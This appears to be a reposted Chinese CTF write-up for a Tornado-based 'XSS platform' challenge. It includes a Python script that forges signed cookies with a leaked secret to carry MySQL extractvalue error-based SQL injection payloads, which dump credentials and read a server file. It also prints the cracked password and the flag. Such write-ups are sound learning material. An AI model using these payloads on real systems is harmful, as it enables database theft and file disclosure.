zoukankan      html  css  js  c++  java
  • i春秋CTF-“百度杯”CTF比赛 九月场 XSS平台

    “百度杯“CTF比赛 九月场

    ###XSS平台

      看了别人的wp才知道这里需要变数组引起报错然后百度信息收集,这一步在实战中我觉得是很有作用的,get到。

     

     

     

     

     

    这里取百度rtiny,看别人wp上说这里是因为前面的目录很正常,这个rtiny看起来有问题,就去百度。。

    百度第一栏直接拿下源码,接下来就是代码审计。这几天做题老是遇到pythonweb框架的服务器,所以直接去康啦康教程

    这里直接推荐一篇文章 http://shouce.jb51.net/tornado/

     

    代码审计 这里因为之前就看了别人的wp 所以我知道问题出现在lock.py里面哈哈哈

     

     

     

     

    Username 和passwd都没坐什么过滤 直接带入数据库查询

     

     这是定义的ct

     

    组合起来语句就是

    Select * from manager where username='' and password=''

    Username来自cookie 但是cookie被加密过

     

     在username处构造报错注入 

    在index.py里面有那一段参数

    "cookie_secret": "M0ehO260Qm2dD/MQFYfczYpUbJoyrkp6qYoI2hRw2jc="

    拿来加密我们构造的cookie

    脚本

    import tornado.web
    import tornado.ioloop

    settings={
    "cookie_secret":"M0ehO260Qm2dD/MQFYfczYpUbJoyrkp6qYoI2hRw2jc="
    }
    class IndexHandler(tornado.web.RequestHandler):
    def get(self):
    self.write("helloword")
    #self.set_secure_cookie("username","' and extractvalue(1,concat(0x5c,(select group_concat(distinct column_name) from information_schema.columns where table_schema=database() and table_name='manager')))-- ")
    #self.set_secure_cookie("username","' and extractvalue(1,concat(0x5c,mid((select group_concat(username,'|',password,'|',email) from manager),30,62))) -- ")
    #self.set_secure_cookie("username", "' and extractvalue(1,concat(0x5c,(select load_file('/var/www/html/f13g_ls_here.txt'))))#")
    self.set_secure_cookie("username","' and extractvalue(1,concat(0x5c,mid((select load_file('/var/www/html/f13g_ls_here.txt')),28,60)))#")
    self.write(self.get_secure_cookie("username"))

    if __name__ == "__main__":
    app=tornado.web.Application(
    [
    (r"/",IndexHandler),
    ],**settings
    )
    app.listen(8000)
    tornado.ioloop.IOLoop.current().start()


     运行这个脚本,之后在火狐中访问127.0.0.1:8000 然后拿到cookie,然后带到lock访问 运行脚本直接用cmd python+脚本名  //这里如果看不懂就回去看看tornado

    这里 burp抓包一定要先抓取访问题目页面 ,再去把login改为lock才会返回报错,我实在不理解是为什么,暂时理解为是login.py 页面本身可以引起报错,所以这里才会使用报错注入,或者是从login页面进去带了几个参数

     

     

     

     

    接下来就跑列名 有三列 账号密码和邮箱

    注意中间有长度限制 拿字段的时候要用到mid()分割

    self.set_secure_cookie("username","' and extractvalue(1,concat(0x5c,mid((select group_concat(username,'|',password,'|',email) from manager),30,62))) -- ")

    单然也可以一列一列的跑这里我是参照别人的脚本的语句 但是都是报错注入

    拿到

    ichuqiu|318a61264482e503090facfc4337207f|545

    账号 ichuqiu

    密码 拿去MD5 解密得到 Myxss623

    登陆进去 再输入一次密码 得到后台

    看到文件提示

     

     

     

     

     

    目录猜测应该联想之前报错  

     

     

    目录在

    /var/www/html/

    报错的目录的上级目录 //我只能说信息收集太重要了

     接下来用load_file拿到答案 当然也有长度限制 也用mid()

     

     

     

    flag{774e6d00-3b97-46a3-99ea-b44805ba3b27}

     

  • 相关阅读:
    k8s service的DNS名称解析之CoreDNS
    k8s service负载均衡实现之iptables
    k8s 将项目暴露到互联网访问
    k8s 日志按体现分类与采集思路
    k8s ingressd的http对外暴露网站
    k8s 容器交付流程和项目部署流程
    k8s ingress使用DaemonSet部署
    Google Base与科学家数据共享 (Nature Vol 438|24 November 2005)
    总结:rdf:ID和rdf:about的区别(转载)
    一个元搜索引擎
  • 原文地址:https://www.cnblogs.com/tlbjiayou/p/11923041.html
Copyright © 2011-2022 走看看